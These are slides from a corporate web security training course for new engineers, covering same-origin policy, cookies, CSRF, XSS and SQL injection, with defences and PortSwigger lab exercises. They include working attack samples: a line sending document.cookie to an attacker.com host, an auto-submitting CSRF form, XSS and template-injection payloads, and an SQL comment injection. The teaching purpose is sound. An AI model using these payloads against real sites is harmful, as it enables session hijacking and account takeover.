Web セキュリティ研修 / GMO ペパボ 新卒研修 2021

Transcript

1. GMO ペパボ 新卒研修 2021 ~ Web セキュリティ~ セキュリティ対策室 Kohei Morita / @mrtc0
2. 本資料について • 本資料はGMOペパボ株式会社において、2021年新卒エンジニア研修で実施し た Web セキュリティ研修のスライドを公開用に編集したものです • 社外秘である情報などは削除、およびマスクしている箇所があります 本資料について
3. Web セキュリティ研修 ~ Introduction ~ セキュリティ対策室 Kohei Morita / @mrtc0
4. セキュリティ対策室 $ whoami シニアエンジニア OWASP Fukuoka Chapter Leader セキュリティ・キャンプ 講師, ステアリングコミッティ 森田 浩平 / Kohei Morita / もりたこ / @mrtc0 新卒8期生 https://blog.ssrf.in/ 好きなもの: Web セキュリティ、コンテナ、猫、ゲーム
5. 研修のゴール アプリケーションを開発、運用していく上で必要とされる セキュリティに関する知識、技術を習得する
6. • Web アプリケーションにおける脆弱性の原理と対策を知っている • 機能設計やコードレビュー時にセキュリティ上の問題点を指摘することができる アプリケーションを開発、運用していく上で必要とされるセキュリティに関する知識、技術 is
7. セキュリティを学ぶ必要性 • 法律で定められている (個人情報の保護に関する法律 第20条) • 損害賠償請求事件となったケースもある https://www.softic.or.jp/semi/2014/5_141113/op.pdf • 経済的損失の発生(利用者への補償や対応のための費用 ) サービス / 会社への信頼の失墜による、新規 /既存ユーザーの減少による売上の減少
8. セキュリティインシデントの特性 - 一度漏洩すると回収できない - データの回収は不可能、信頼の回復も難しい - 漏洩したデータを元にさらに別のサービスへ攻撃が行われる - ID/Pass で不正ログイン - 不正購入 - なりすましによる名誉毀損の場合、回復が難しい
9. 皆さんが考える攻撃ってどういうものですか？ - 特定のアカウントや特定のサービスをしつこく狙う攻撃は確かにある - いわゆる標的型攻撃や水飲み場型攻撃など - 一方で、攻撃全体の量としては無差別な攻撃が圧倒的に多い - Bot (スクリプトキディ) による既存の脆弱性や設定ミスを狙った攻撃 - ペパボでも毎日のように攻撃を受けている - つまり、今守っているところを少しでも緩めると被害にあう可能性がある 攻撃者は一つでも穴を見つければ勝ち、 サービス側は全ての穴を塞がなければならない
10. Defence in Depth (多層防御) • どこか一つが破られると負けの圧倒的不利な世界で闘うには防御を厚くするしかない • どこか一つが破られても (ミスをしても)他の対策でカバーする • マンションの鍵を増やす、オートロック、カメラ付きインターフォン • 攻撃者は時間をかけて攻撃モデルを作れる 防御側はそれを完全に防ぐことは困難なので、攻撃の兆候を検知し反応しなければならない
11. 研修の内容
12. • Web アプリケーションにおける主要な脆弱性について、実際に攻撃を行いながら演習を行 います • 脆弱性の原理やリスクを理解したあと、脆弱性だらけの「やられアプリケーション」のコード を修正してセキュアにします 研修の内容
13. 脆弱性とは
14. セキュリティホール = 脆弱性とは • 脆弱性 = 悪用できるバグのこと • 悪用できる = 開発者が意図した挙動とは異なる動作を引き起こせる • クエリを変更して DB から意図しないデータを取得できる • HTML が変更されて任意の JavaScript が実行される • パラメータを変更することで本来取得できないデータを取得できる セキュリティは「固い」イメージがありますが、「本来できるはずのないことが出来る」という点が面白いポイントです。
15. 脆弱性の種類
16. • 脆弱性を一意に識別するために発行される番号のこと • ライブラリ、製品などに発行される CVE (Common Vulnerability and Exposures) CVE-2021-22902 西暦 連番 ⚠ 西暦部分は脆弱性が公開された年または CVE ID が割り当てられた年 https://cve.mitre.org/about/faqs.html#year_portion_of_cve_id 脆弱性の説明。 丁寧に書いてあるものもあれば、全然そうでないものも .... 関連するリンク。 Advisory や修正の commit リンクなどが載っている。
17. The actionpack ruby gem (a framework for handling and responding to web requests in Rails) before 6.0.3.7, 6.1.3.2 suffers from a possible denial of service vulnerability in the Mime type parser of Action Dispatch. Carefully crafted Accept headers can cause the mime type parser in Action Dispatch to do catastrophic backtracking in the regular expression engine. Advisory の読み方 (e.g. CVE-2021-22902) • actionpack < 6.0.3.7, 6.1.32 が対象 • Mime type parser に DoS の脆弱性 • 細工した Accept ヘッダによって正規表現で破滅的なバックトラッキングが発生する (ReDoS)
18. • その脆弱性がどれだけ重大なものかを指す指標として CVSS 値が利用される • 攻撃区分や複雑さ、影響などを計算式に則ってスコアリング Severity https://nvd.nist.gov/vuln/detail/CVE-2021-22902
19. • NVD が出している CVSS 値とベンダー側で異なることがある 例えば CVE-2019-17567 ( Apache HTTP Server の脆弱性) の場合... Severity NVD … 5.3 (MEDIUM) RedHat … 4.8 (MEDIUM) Apache … (moderate)
20. • ベンダーや NVD が出している CVSS 値はあくまで参考程度にし、実際にサービスにリスクが あるかを自分たちで考える必要がある • 例えば Linux カーネルに Attack Vector が Local な脆弱性があった場合、 CVSS 値的には低くな るが、ホスティングサーバーではリスクが高くなる Severity
21. 座学はここまで
22. • この講義では攻撃手法を紹介しますが、自身の管轄外の Web サイトやサーバーに対して 攻撃しないようにしてください • 「これぐらい大丈夫」と思っていても、逮捕や起訴につながる事例がいくつもあります • 倫理観と節度を持って Ethical Hacker を目指しましょう 研修を受けるにあたり、守って欲しいこと
23. Web セキュリティ研修 ~ Web Basic / Origin / CSRF ~ セキュリティ対策室 Kohei Morita / @mrtc0
24. $ sudo vim /etc/hosts ... 127.0.0.1 shop.local 127.0.0.1 attacker.local 127.0.0.1 attacker.shop.local 127.0.0.1 cart.shop.local 準備 (演習リポジトリ)
25. • Burp Suite Community Edition をダウンロード https://portswigger.net/burp/communitydownload 準備 (Burp Suite) • Proxy > Options で 127.0.0.1:8080 で Listen していることを確認
26. • Firefox で about:preferences にアクセスし、Network Settings を開く • Manual proxy configuration に localhost / 8080 を設定する ◦ Also use this proxy FTP and HTTPS にもチェック 準備 (Burp Suite)
27. • Firefox で http://burp にアクセスし「CA Certificate」をクリックして証明書をダウンロード 準備 (Burp Suite)
28. • Firefox で about:preferences#privacy へアクセスし「Cerificates」>「View Certificates...」をクリック 準備 (Burp Suite)
29. • 「Import...」をクリックして、先程ダウンロードした証明書を選択する • Confirm ポップアップが出たら全てにチェックボックスを入れて「 OK」 準備 (Burp Suite)
30. • Burp Suite で「Proxy」>「Intercept」で「Intercept is off」の状態に変更 • Firefox で https://example.com にアクセスし、エラーなくアクセスでき、 Burp Suite の 「Proxy」>「HTTP history」にリクエスト/レスポンスが記録されていることを確認 準備 (Burp Suite)
31. • Firefox Add-ons「Cookie Editor 」をインストールする https://addons.mozilla.org/ja/firefox/addon/cookie-editor/ 準備編 (Firefox)
32. Same Origin Policy
33. Origin • example.com から Gmail の内容が取得できてしまうと困る • そこで Web の境界として Origin という概念がある • Origin は「プロトコル」「ホスト名」「ポート番号」の組み合わせを指す https://example.com https://pepabo.com:8080
34. SOP ( Same Origin Policy ) Same Origin Policy • Origin が同じ場合を Same Origin, 異なる場合を Cross Origin と呼ぶ • https://example.com と http://example.com は Cross Origin • http://example.com と http://example.com:8080 は Cross Origin • http://login.example.com と http://example.com は Cross Origin • Cross Origin のリソースに対してアクセスできない仕組みを Same Origin Policy と呼び、ブラウザによっ て制御されている • 基本的に Web のほとんどは SOP に則った動作だが、 Cookie などの一部例外もある
35. • attacker.local から shop.local にアクセスできないことを確認する Same Origin Policy を確認する • Same Origin の場合は HTML にアクセスできる • Cross Origin の場合は HTML にアクセスできない
36. Same Origin Policy を体験しよう Uncaught DOMException: Blocked a frame with origin "http://attacker.local" from accessing a cross-origin frame.
37. SOP Bypass Challenge 1 • attacker.shop.local から cart.shop.local にアクセスする方法は ? • 💡Hint : https://developer.mozilla.org/ja/docs/Web/Security/Same-origin_policy
38. SOP Bypass Challenge 1
39. SOP Bypass Challenge 1 • 双方のドメインで document.domain = "shop.local" を実行すると疎通できるようになる
40. このときの脅威をペパボのサービスで考えよう cart.shop-pro.jp someshop.shop-pro.jp > document.domain = "shop-pro.jp" > document.domain = "shop-pro.jp" ショップページからカート情報を盗める もし cart の document.domain が “shop-pro.jp” だったら... 

41. • document.domain を変更できないようにする Proposal が提案された • Chrome では既に実装されており、Feature Policy ヘッダを利用して制御可能 Feature Policy control over document.domain https://github.com/w3c/webappsec-permissions-policy/issues/241
42. • Web の世界ではヘッダを利用してセキュアにできる仕組みが数多くある • そのうちの一つが Feature Policy (旧 Permissions Policy) ◦ 指定したブラウザの機能を無効にすることができる ◦ webusb や geolocation のような API を禁止することができる ◦ まだ Experimental なので Firefox や Safari では(Flag を有効にしないと)利用できない Feature Policy ヘッダ
43. SOP Bypass Challenge 2 • shop.local は cart.shop.local と postMessage でやり取りをしてカートの数を表示している • attacker.local でカートの数を取得する方法を考えてみよう ◦ 💡Hint : https://developer.mozilla.org/ja/docs/Web/API/Window/postMessage Frame http://cart.shop.local http://shop.local postMessage("cartItemNum", ...) postMessage(3, ...)
44. SOP Bypass Challenge 2
45. SOP Bypass Challenge 2 • そもそも他のサイトとやり取りをする必要がない場合、 `message` イベントに Event Listener を追加し ない
46. SOP Bypass Challenge 2 • メッセージを受け取る場合、必ず送信元 Origin を検証する • 悪意あるサイトからメッセージを受け取り、そのまま処理してしまう可能性があるため
47. SOP Bypass Challenge 2 • 重要な情報を意図せず他のサイトに送信してしまうのを防ぐため、 必ず送信先の Origin を指定する
48. SOP Bypass Challenge 2 • iframe はどこにでも埋め込めるようになっている (X-Frame-Options なし) • postMessage で origin を検証していない window.addEventListener("message", function(event) { // 本来はここで event.origin を検証するべき if (event.origin === "http://cart.shop" ) { event.source.postMessage("3", event.origin); }, false); X-Frame-Options … frame などをページに埋め込むことを許可するか制御できるヘッダ。 　　　　　　　　 クリックジャッキングと呼ばれる、CSS などを利用して frame の上に偽装したリンクやボタンを設置 することで、意図しない動作を誘発する手法を防ぐために利用される。
49. ここまでのまとめ • Web には Origin と呼ばれる概念があり、 Same Origin Policy によってリソースの取得や操作が制限さ れている • ただし、Cross Origin でも document.domain の変更や postMessage などを利用することで Origin を超 えた通信が可能であり、利用する場合は慎重に実装する必要がある
50. Session & Cookie
51. HTTP は Stateless なプロトコル • Stateless = HTTP 自体で状態を持たない • リクエストに対してレスポンスを返すだけ • 認証状態はアプリケーションが管理しなければいけない • Cookie • IP アドレス • HTTP Header • クライアント証明書 • etc...
52. • アプリケーションはユーザーを識別するためにセッションを発行する • 必ず一意な ID が発行され、アプリケーションはそれを保存している • 多くの場合、この処理は抽象化されており、保存について意識することは少ない • この ID のことを「セッションID」と呼ぶ • セッションID を Cookie としてユーザーのブラウザに保存させる • このとき、レスポンスに `Set-Cookie: sessionid=abcd` のように Set-Cookie ヘッダを利用す ることでブラウザに保存させることができる • 以降、セッションの有効期限が切れるまで、 Cookie がリクエストについている限りはログイ ン状態となる ログインセッションの発行
53. Session と Cookie の演習 $ cd cookie-and-session $ docker compose up $ open http://shop.local/
54. Proxy のログを見てみよう
55. ブラウザにセッション ID が Cookie として保存されている
56. ログインしてみる
57. Cookie は発行元へのリクエストに自動で付与される Client shop.local GET / HTTP/1.1 Set-Cookie: PHPSESSID=1234 POST /login HTTP/1.1 Cookie: PHPSESSID=1234 正確に言うと Cookie は SOP に従わず、スキームに関係なく送信されたり、 domain 属性値によって変化する。 また、スキームに関しても Schemeful Same-Site Cookie では異なるスキームの場合は送信されない。詳しくは後述する。
58. Cookie と Session のセキュリティを考えてみよう • Cookie はセッション情報を格納しているものもあるため、クレデンシャルとして扱われること がある • 1. Cookie に秘匿情報を載せるのは OK ? • 2. セッション Cookie が漏洩するとどうなる ? • 3. セッション Cookie に求められる条件は ?
59. Cookie と Session のセキュリティを考えてみよう - 1. Cookie に秘匿情報を載せるのは OK ? - A. クライアントから閲覧 /操作できるので NG - 2. セッション Cookie が漏洩するとどうなる ? - A. なりすましされる可能性がある - 3. セッション Cookie に求められる条件は ? - A. 推測ができないこと、強制ができないこと、漏洩しないこと 1, 2, 3 をそれぞれ確認しよう
60. • shop.local にログインすると admin という Cookie がついている • その値を True に変えてみましょう Cookie の確認と変更
61. • アプリケーションが発行したからといって、その値が維持しているわけではない • HTTP リクエストはユーザーが簡単にイジれるので、 HTTP リクエストに存在しているパラ メータはすべて信頼しない。必ず処理を行う前に検証を行う。 Cookie の値は信頼しない
62. • セッション Cookie が漏洩すると、攻撃者はその Cookie を自分の HTTP リクエストに付与 することで、そのユーザーになりすますことができる • Firefox で Private Window を開き、shop.local/profile.php にアクセス。Cookie をリク エストにセットすることで、そのユーザーになりすますことを確認しよう。 セッション Cookie が漏洩するとどうなるか
63. • セッション情報を利用してなりすますことを「セッションハイジャック」と呼ぶ • セッションハイジャックを行うには、次のような方法がある • 通信の盗聴 • XSS による Cookie の取得 • URL にセッションIDが含まれている場合にオープンリダイレクトを利用して取得 • 推測 ・バグレポートなどで、うっかりセッション Cookie などを載せないように注意! セッションハイジャック
64. Session Fixation Client abc.com GET /?session=1234 HTTP/1.1 Set-Cookie: PHPSESSID=1234 POST /login HTTP/1.1 Cookie: PHPSESSID=1234 ☠Attacker GET / HTTP/1.1 Redirect: abc.com/?session=1234
65. Cookie の属性 • Expires : Cookie の有効期限 • Domain : 送信先のドメイン ◦ 指定された場合、サブドメインも含む • Path : 送信するパス ◦ サブディレクトリも含む。 Path=/docs のとき /docs/test にもマッチ • Secure : https のときだけ送信する • HttpOnly : JavaScript から触ることを禁止する • SameSite : オリジン間での送信を制限
66. Domain 属性 • 特に理由がなければ設定しなくて良い • lolipop.jp 上で google.com を設定することはできない • mrtc0.lolipop.jp 上でlolipop.jp を指定することはできる ◦ その場合 attacker.lolipop.jp からも、その Cookie にアクセスできる
67. TLD / eTLD • example.jp の .jp を TLD (Top Level Domain) と呼ぶ • test.jp や mrtc0.jp を購入することはできるが、co.jp は購入することができない • このような例外的に TLD のように振る舞う TLD を eTLD (Effective Top Level Domain) と呼ぶ • では、このようなドメインをどう機械的に判別するのか ...?
68. Public Suffix List • eTLD として振る舞うドメインをテキストファイル (!)として管理している https://github.com/publicsuffix/list/blob/792f13d38c795cf910de96de4baac48f1f ee3162/public_suffix_list.dat • Heroku やロリポップ！のように、ユーザーがあるドメインのサブドメインでアプリケーション を動かせる場合、前述したような domain 属性指定による影響を小さくすることができる • ロリポップ！マネージドクラウドも lolipop.io を PSL に登録しています https://github.com/publicsuffix/list/blob/792f13d38c795cf910de96de4baac48f1f ee3162/public_suffix_list.dat#L12041
69. Secure 属性 • 繰り返しになるが Cookie は Same Origin Policy に従わない • https:// で発行された Cookie は http:// でも送信されてしまう • https://loving-nobeoka-3657.lolipop.io/setcookie.php • Secure 属性を付与することで http:// に送信されないようにする • 例えば MITM などによって盗聴されている場合、 http:// でのアクセスで Cookie が漏洩す る可能性がある
70. HttpOnly 属性 • JavaScript からのアクセスを禁止する • XSS のように外部から JavaScript を差し込める脆弱性があった場合、セッション Cookie に httpOnly が付与されていなければ、セッションハイジャックにつながる ◦ XSS 自体の対策ではないが、 XSS 以後の保険的対策となる ◦ (XSSについては後述) new Image().src = "https://attacker.com/?cookie=" + document.cookie
71. SameSite Cookie … の前に • 上記 HTML は attacker.com 上に置かれている HTML です • もしこのフォームを Submit したらリクエストは受理されるでしょうか ? <!-- attacker.com --> <form method="POST" action="https://accounts.example.com/change_password"> <input type="password" name="password"> <input type="submit" value="change"> </form>
72. CSRF Cross Site Request Forgery
73. どういうことが可能になるか • 重要画面でのアクションによって変化する ◦ パスワード変更 ◦ 送金や商品の購入 ◦ コメントの投稿 (爆破予告とかされると厄介ですね ) ◦ 権限昇格など
74. 実践 CSRF • BurpSuite 開発元である PortSwigger 社が提供している Web Security Academy を 使って演習を行います。 • まずは一緒にやってみましょう https://portswigger.net/web-security/csrf/lab-no-defenses
75. https://portswigger.net/web-security/csrf/lab-no-defenses 実践 CSRF This lab's email change functionality is vulnerable to CSRF. To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address and upload it to your exploit server. この lab ではメールアドレス変更機能に CSRF 脆弱性があります。 lab を解くには、閲覧したユーザーのメールアドレスを変更する CSRF 攻撃を実行する 細工された HTML を作成し、exploit server にアップロードしてください。 あなたが使うアカウントのクレデンシャルは wiener:peter です。
76. 解答サンプル <html> <body> <script>window.addEventListener('DOMContentLoaded', () => { document.form.submit(); });</script> <form name="form" action="https://<YOUR ID>.web-security-academy.net/email/change-email" method="POST"> <input type="hidden" name="email" value="evil@example.com" /> <input type="submit" value="Submit request" /> </form> </body> </html>
77. 攻撃の確認 1. ページ上部の「Go to exploit server」をクリック して罠サイト作成ページに遷移 2. 作成した罠ページを HTTP レスポンス Body とし て保存 3. このメッセージが出れば OK
78. CSRF の根本的対策 = 正規のリクエストであることを確認する • 正規のリクエスト = 正規利用者が実行したリクエスト • 意図したリクエストであることを証明する材料として ... • 第三者が知り得ない情報の利用 • 遷移してきたページの確認
79. 第三者が知り得ない情報を使う - CSRF トークンの埋め込みとチェック <form method="POST" action="/change_password"> <input type="password" name="password"> <input type="token" name="#{session_id}"> <input type="submit" value="change"> </form> if (current_session_id !== $_POST['token']) { die(); }
80. 本人確認を挟む - パスワードの入力画面などを挟む - CSRF 対策だけでなく、Confirm 的な意味合いも含めることができる - e.g. アカウントの削除など取り戻せないリクエスト
81. CSRF (Cross Site Request Forgery) の攻撃例 被害者 1.攻撃者が用意した罠サイトにア クセスする 2.罠の JS によって新しいパスワー ドが送信され、変更される (Cookie が一緒に飛ぶため) 0. 被害者が example.com に ログイン済み 先程のフォームのリクエストは送信されて受理される。この性質を利用した攻撃が CSRF.
82. Referrer が意図されたサイトか確認する • Referrer には遷移してきたページの URL が含まれているため、それを確認することで意図 したサイトからのリクエストかどうか確認できる • ただし、次のような注意点がある • プライバシー保護のために Rererrer を付与しない設定のユーザーもいる • https → http へのリクエストでは Referrer が付与されない • 正規表現の漏れも生じやすいので実装時は注意 • /^https:\/\/valid\.com/.match? の場合 https://valid.com.evil.com/ が通る • /\Ahttps:\/\/valid\.com\Z/.match? が望ましい
83. CSRF のまとめ 🔎 発生箇所 : 重要な処理が行われるページ 重要 = パスワードの変更や商品の購入や書き込みなど ⚠ 影響 : 被害者の権限で重要な処理が実行される 💀 深刻度 : Medium ~ High 👷 対策 : 正規のリクエストであることを確認する
84. SameSite Cookie • Cookie の送信先を Same Site に制限する(今は Chrome でデフォ Lax) eTLD + 1 … e.g. example.com や mrtc0.github.io など。 Same Site とは「eTLD + 1 が同じであること」なので、例えば login.github.io と my.github.io は Same Site となる。 Same Site は Same Origin と違って Scheme や Port の違いは無視されるが、 Schemeful Same Site の場合は Scheme は一致しなければならない。
85. Fetch Metadata • Chrome では Fetch Metadata が実装されているので、次のようなヘッダが付与されてい る ◦ 2021/07/13 Firefox 90 でも実装!
86. Fetch Metadata • Fetch Metadata は(サーバー側の)アプリケーションが、リクエストがクロスオリジンから発生したもの かコンテキストを取得できるようにした機能 • Sec-Fetch-* というヘッダに HTTP リクエストのコンテキスト情報が含まれている https://blog.mozilla.org/security/2021/07/12/firefox-90-supports-fetch-metadata-request-headers/
87. Sec-Fetch-Site • Sec-Fetch-Site の値は次の4つのいずれかになる • 同 Origin だと same-origin • Same Site (bar.example.com) だと same-site • ブラウザ経由(ブックマーククリックなど )では none • 別サイトからだと cross-site • 他にも Sec-Fetch-Mode や Sec-Fetch-Dest がある
88. 例えば CSRF 対策に利用できる (擬似コード) def cross_site_request?(request) request['headers']['sec-fetch-site].not_includes? ['cross-site', 'same-site'] end if request.method == "POST" && corss_site_request?(request) return True else return False end Safari が未実装なので、まだ実用はできないかな ... 感
89. Proxy で CSRF を対策する どうしてもアプリケーションで対策取れないっす ... という場合はプロキシでやる手も ... 例えば Envoy Proxy では CSRF Filter があり、リクエストの Origin と Referrer を確認して意図しな いサイトからのリクエストを弾くことができる
90. まとめ
 ここまでのまとめ
91. まとめ • セッション Cookie の取り扱いは慎重に。漏洩させない、固定させない、推測させない。 • Cookie の属性は多数あるが、セキュリティ的に付与するのは次の 3つ ◦ httpOnly, Secure, SameSite="Lax or Strict" ◦ domain を指定するとサブドメインにも送信されるので注意 • Cookie は Cross Origin Request でも送信されるため、それを利用して重要処理の実行を行う CSRF と 呼ばれる攻撃がある • CSRF の対策は、CSRF Token の利用など、意図されたリクエストかどうか確認することである
92. Web セキュリティ研修 ~ XSS ~ セキュリティ対策室 Kohei Morita / @mrtc0
93. XSS (Cross Site Scripting) とは - ある Web ページにアクセスしたブラウザ上で、攻撃者が用意した任意の JavaScript コー ドを実行する攻撃手法 <something> <?php echo $_GET["user_input"]; ?> </something> <something> <script>alert(1)</script> </something> https://victim.com/?user_input=<script>alert(1)</script>
94. XSS の何が問題になるか - XSS でできること = JavaScript でできること全部 - Cookie の窃取(=Session Cookie の場合はセッションハイジャック ) - 偽画面の作成 - フィッシングサイトへのリダイレクト - キーロガー - ページ上の情報の取得 - 等々...
95. Reflected XSS (反射型 XSS) - HTTP リクエストに含まれる攻撃コードがそのまま Web ページ上に出力される場合の XSS - 典型的には検索画面など - 攻撃を成功させるには対象に URL を開かせる必要があったりするので、少し攻撃難易度は高く なる
96. Stored XSS (蓄積型, 保存型) - HTTP リクエスト中に攻撃コードがなくても動作する - データベースに攻撃コードが格納され、それを表示するような場合 - 典型的には掲示板やコメント欄など - 被害者はそのページにアクセスする必要があるが、誘導が絶対条件な Reflected XSS より も攻撃難易度は低いといえる
97. DOM Based XSS - JavaScript 起因で起きる XSS document.write(user_input); // <script>alert(1)</script> $.html(user_input); // <script>alert(1)</script> location.href = user_input; // javascript:alert(1)
98. XSS 100 12本ノック !!!
99. XSS Challenge 1 - https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-cont ext-nothing-encoded - 検索画面に XSS があるので、alert を出してください
100. XSS Challenge 2 https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-not hing-encoded • コメント機能に XSS があるので alert を出してください • ページをリロードして XSS が永続化していることを確認してください
101. XSS Challenge 3 https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-si nk • Hint: JavaScript を読んで XSS が発生しそうな Sink (文字列から JavaScript を生成して 実行してしまうメソッドなどのこと )をみつけよう • location • document.write() • innerHTML • eval()
102. https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-st ored Hint: コメントを JavaScript で動的に生成している箇所を要チェック XSS Challenge 4
103. https://portswigger.net/web-security/cross-site-scripting/contexts/lab-href-attribute- double-quotes-html-encoded Hint: リンク経由で XSS ! XSS Challenge 5
104. https://portswigger.net/web-security/cross-site-scripting/contexts/lab-attribute-angle -brackets-html-encoded Hint: イベントハンドラ XSS Challenge 6
105. https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-strin g-single-quote-backslash-escaped Hint: Script タグの解析について知ろう https://momdo.github.io/html/scripting.html#restrictions-for-contents-of-script-elem ents XSS Challenge 7
106. https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-strin g-angle-brackets-html-encoded Hint: リテラル部分を破壊 XSS Challenge 8
107. https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-strin g-angle-brackets-double-quotes-encoded-single-quotes-escaped Hint: バックスラッシュによるエスケープ不足 XSS Challenge 9
108. https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-tem plate-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped Hint: テンプレートに入力値を含めることができる XSS Challenge 10
109. Exploiting XSS Vulnerabilities ここまでは alert() を出すだけでしたが、実際に攻撃者の視点に立ち、何ができるかを体験しま しょう 1. セッション Cookie を取得してセッションハイジャック 2. CSRF の実行
110. XSS Challenge 11 https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies • コメントを投稿すると administrator が巡回しに来るので、 Cookie を盗んでください • Burp Collaborator を使う必要があるので、私が代わりの URL を用意します
111. XSS による脅威 - このようにセッション Cookie を盗まれるとセッションハイジャックに繋がる - なので Cookie には httpOnly という属性がある(後述) - 今回は Cookie を取得したが、例えば以下のことも可能 - パスワードやクレジットカードの入力を不正に取得 - センシティブな情報を表示している HTML そのものを取得
112. XSS Challenge 12 https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf • ブログのコメント欄に Stored XSS があります。また、メールアドレス変更機能には CSRF があり ます。コメントするとユーザーが閲覧しにくるので、そのユーザーのメールアドレスを CSRF で変 更しましょう。 • 手順としては次の通りです 1. CSRF が実行できることを確認する 2. XSS が実行できることを確認する 3. CSRF を実行する JavaScript を XSS ペイロードとしてつくる
113. const attack = async () => { const response = await fetch('/my-account') const body = await response.text() const token = body.match(/name="csrf" value="(\w+)"/)[1] fetch(url', { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: body }) } attack() Hint
114. 脆弱性のあるコードの例 echo $user_input; PHP <%= raw @user_input %> // <script>alert(1)</script> <%= link_to "My Home Page", @user.home_page %> // javascript:alert(1) Rails
115. 脆弱性のあるコードの例 - Client Side Template Injection (後述) による XSS <div v-html="''.constructor.constructor('alert(1)')()">a</div> Vue.js {{$on.constructor('alert(1)')()}} Angular https://blog.ssrf.in/post/modern-javascript-framework-xss/
116. How to prevent XSS ? 1. HTML コンテキストでは特定の記号を次のように実体参照に置き換える 変換前 変換後 > &gt; < &lt; & &amp; “ &quot; ‘ &#39; 多くの言語にエスケープ用の関数があるので、それを利用すること。 例えば PHP では htmlspacialchars() があるし、Rails ではテンプレートで明示 的に指定しない限りデフォルトでエスケープしてくれる <script>alert(1)</script> &lt;script&gt;alert(1)&lt;/script&gt;
117. How to prevent XSS ? 2. リンクとして表示する場合は http:// か https:// とする • javascript: や data: スキームで JavaScript が実行できる • これらのスキームを deny list で登録しても抜けが出るので allow list で http:// と https:// のみを許可するようにする <a href="javascript:alert(1)">link</a> <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">
118. HTML を表示したいんですが...... • ブログサービスなどではユーザー入力値をそのまま HTML として表示することが求められる • その場合は一度 HTML をパースし、タグや属性などを制限する アプローチを取ることになる • これも著名なライブラリがあれば、それを利用すること • 一方で、そのライブラリでバイパスが見つかる可能性も十分あるので、 リリースを継続して見て いく必要がある • 著名なライブラリとして次のようなものがある • https://github.com/ezyang/htmlpurifier • https://github.com/cure53/DOMPurify
119. How to mitigate XSS ? もし XSS を作り込んでしまっても影響を緩和することも重要 • CSP ( Content Security Policy ) • リソースの読み込みの制限を行う • Trusted Types • 値の検証を行うことを強制する仕組み • Cookie の httpOnly 属性 • XSS の緩和策というより、 XSS によるセッションハイジャックの緩和策
120. CSP ( Content Security Policy ) Level 2 • 信頼できる参照元のホワイトリストを作り、そのリストにあるリソースのみを実行したり読み込んだりす る • JavaScript だけでなく CSS やイメージ、iframe などのリソースを制御可能 Content-Security-Policy: script-src 'self' https://assets.example.com
121. CSP Level 2 • リソースを把握してホワイトリストにするので既存のアプリケーションに適用するのが大変 • inline script も書けない ( unsafe-inline をつけると XSS 保護できない ) • 最近のアプリケーションは script タグなどを動的に追加しているのでこの方式だと難しい • 結果として、CSP 利用のドメインの94%が Bypass 可能というレポート • https://ai.google/research/pubs/pub45542 • 例えば ajax.googleapis.com から古い angular を読み込んで XSS • Bypass 可能かどうかは csper.io や csp-evaluator.withgoogle.com で確認できる
122. CSP Level 3 • nonce が一致しない / ついていない場合は実行しない Content-Security-Policy: script-src nonce-”abcd…” <script nonce="abcd...">doSomething()</script> • そこで strict-dynamic という値が追加されており、nonce が追加されているスクリプトから 動的に生成された script にも実行許可がつく
123. Trusted Types • DOM-Based XSS を防ぐためにブラウザに実装された対策。 Polyfill でも利用可能。 • シンクに直接値が渡ることを禁止し、検証 /エスケープ処理が行われた場合のみ許容するという制限 を施す仕組み • 値のチェックとエスケープ処理をポリシーとして定義し、それを CSP で指定する
124. Trusted Types の利用例 <?php header("Content-Security-Policy: trusted-types default dompurify; require-trusted-types-for 'script'"); ?> const policy = trustedTypes.createPolicy('default', { createHTML: (untrustedValue) => { // TrustedHTML 型を生成する必要がある return DOMPurify.sanitize(untrustedValue) } }); // http://vuln.com/#'%22%3E%3Csvg/onload=alert(1)%3E const rawHTML = decodeURIComponent(location.hash.substring(1)); document.body.innerHTML = policy.createHTML(rawHTML);
125. Trusted Types ・シンクには Trusted な値が代入されるため、検証されているか意識しなくてもよい ・DOM Based XSS が発生する = ポリシー定義が脆弱である、という切り分けが簡単
126. Cookie の httpOnly 属性 - XSS の緩和策ではなく、XSS によるセッションハイジャックの緩和策 - Cookie に httpOnly 属性を付与すると、その Cookie には JavaScript を使ってアクセス できなくなる - document.cookie を実行しても、その Cookie は取得できない
127. • 2021年7月現在、まだドラフトであり、多くのブラウザで利用はできないが、 HTML を Sanitize する API が生える予定。Firefox ではフラグを有効にすることで利用可能。 https://wicg.github.io/sanitizer-api/ Sanitizer API
128. • X-XSS-Protection ヘッダと呼ばれるものがあり、これを有効にすることでブラウザの XSS 保護機能 (XSS Auditor) で XSS をブロックすることができた • 挙動としては URL に script タグが含まれている場合、その内容が HTML レスポンスに含まれている 場合にページのロードをブロックするというもの • URL に含めた文字列がレスポンスに存在するか判別できるという点と、ページがブロックされたという 挙動を Cross Origin から観測可能できる点を利用し、 XS-Leak が度々起こってしまった • 結果、現在 Safari を除くすべてのブラウザで XSS Auditor は廃止となってしまった X-XSS-Protection
129. 余談 • XSS は JavaScript を挿入するのに対し、 CSS Injection と呼ばれるものもある。 CSS Injection によって入力フォームの内容を窃取することが可能 https://diary.shift-js.info/css-injection/ • Cross-Origin からデータをリークする手法を XS-Leak と呼ぶ https://xsleaks.com/
130. Web セキュリティ研修 ~ SQL Injection ~ セキュリティ対策室 Kohei Morita / @mrtc0
131. SQLインジェクションとは - データベースを不正に操作されてしまう脆弱性 - ユーザー入力値を使って SQL クエリを組み立てているような、ほとんどの Web アプリケー ションで生じる可能性のある脆弱性 SELECT * FROM users WHERE email = $email AND password = $password; SELECT * FROM users WHERE email = ‘user@example.com’ AND password = ‘password’ SELECT * FROM users WHERE email = ‘user@example.com’ -- AND password = $password; email=user@example.com&password=password email=user@example.com’ --&password=password ☠
